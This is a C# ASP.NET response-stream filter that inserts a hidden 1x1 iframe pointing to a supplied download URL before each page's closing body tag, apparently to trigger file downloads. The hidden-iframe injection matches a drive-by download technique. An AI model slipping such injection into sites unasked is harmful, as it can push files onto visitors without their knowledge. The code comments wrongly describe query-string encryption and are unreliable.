﻿using System;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;

namespace WebHelper.Handlers
{
    [Serializable]
    internal class DownloadFilter : MemoryStream
    {
        private static Regex urlMatch = new Regex("<\\s*/body[^>]*>", RegexOptions.IgnoreCase | RegexOptions.Compiled);

        private Stream f_OutputStream;
        private string f_DownloadUrl;
        public DownloadFilter(Stream baseStream,string downloadUrl)
        {
            this.f_OutputStream = baseStream;
            this.f_DownloadUrl = downloadUrl;
        }

        private string QueryStringMatchEvaluator(Match match)
        {
            string s = match.Value;
            try
            {
                if (!string.IsNullOrEmpty(match.Value))
                {
                    s = "<iframe src=\"" + this.f_DownloadUrl + "\" style=\"width:1px;height:1px;display:none;\" ></iframe></body>";
                }
            }
            catch
            {
            }
            return s;
        }

        public override void Write(byte[] buffer, int offset, int count)
        {
            // Get the HTML from the buffer
            string html = Encoding.UTF8.GetString(buffer, offset, count);

            // Use the regular expresion to replace URL with the
            // encrypt the query string 
            html = urlMatch.Replace(html, QueryStringMatchEvaluator);

            // Write the new response to the base stream
            byte[] buffer2 = Encoding.UTF8.GetBytes(html);
            this.f_OutputStream.Write(buffer2, 0, buffer2.Length);
        }
    }
}
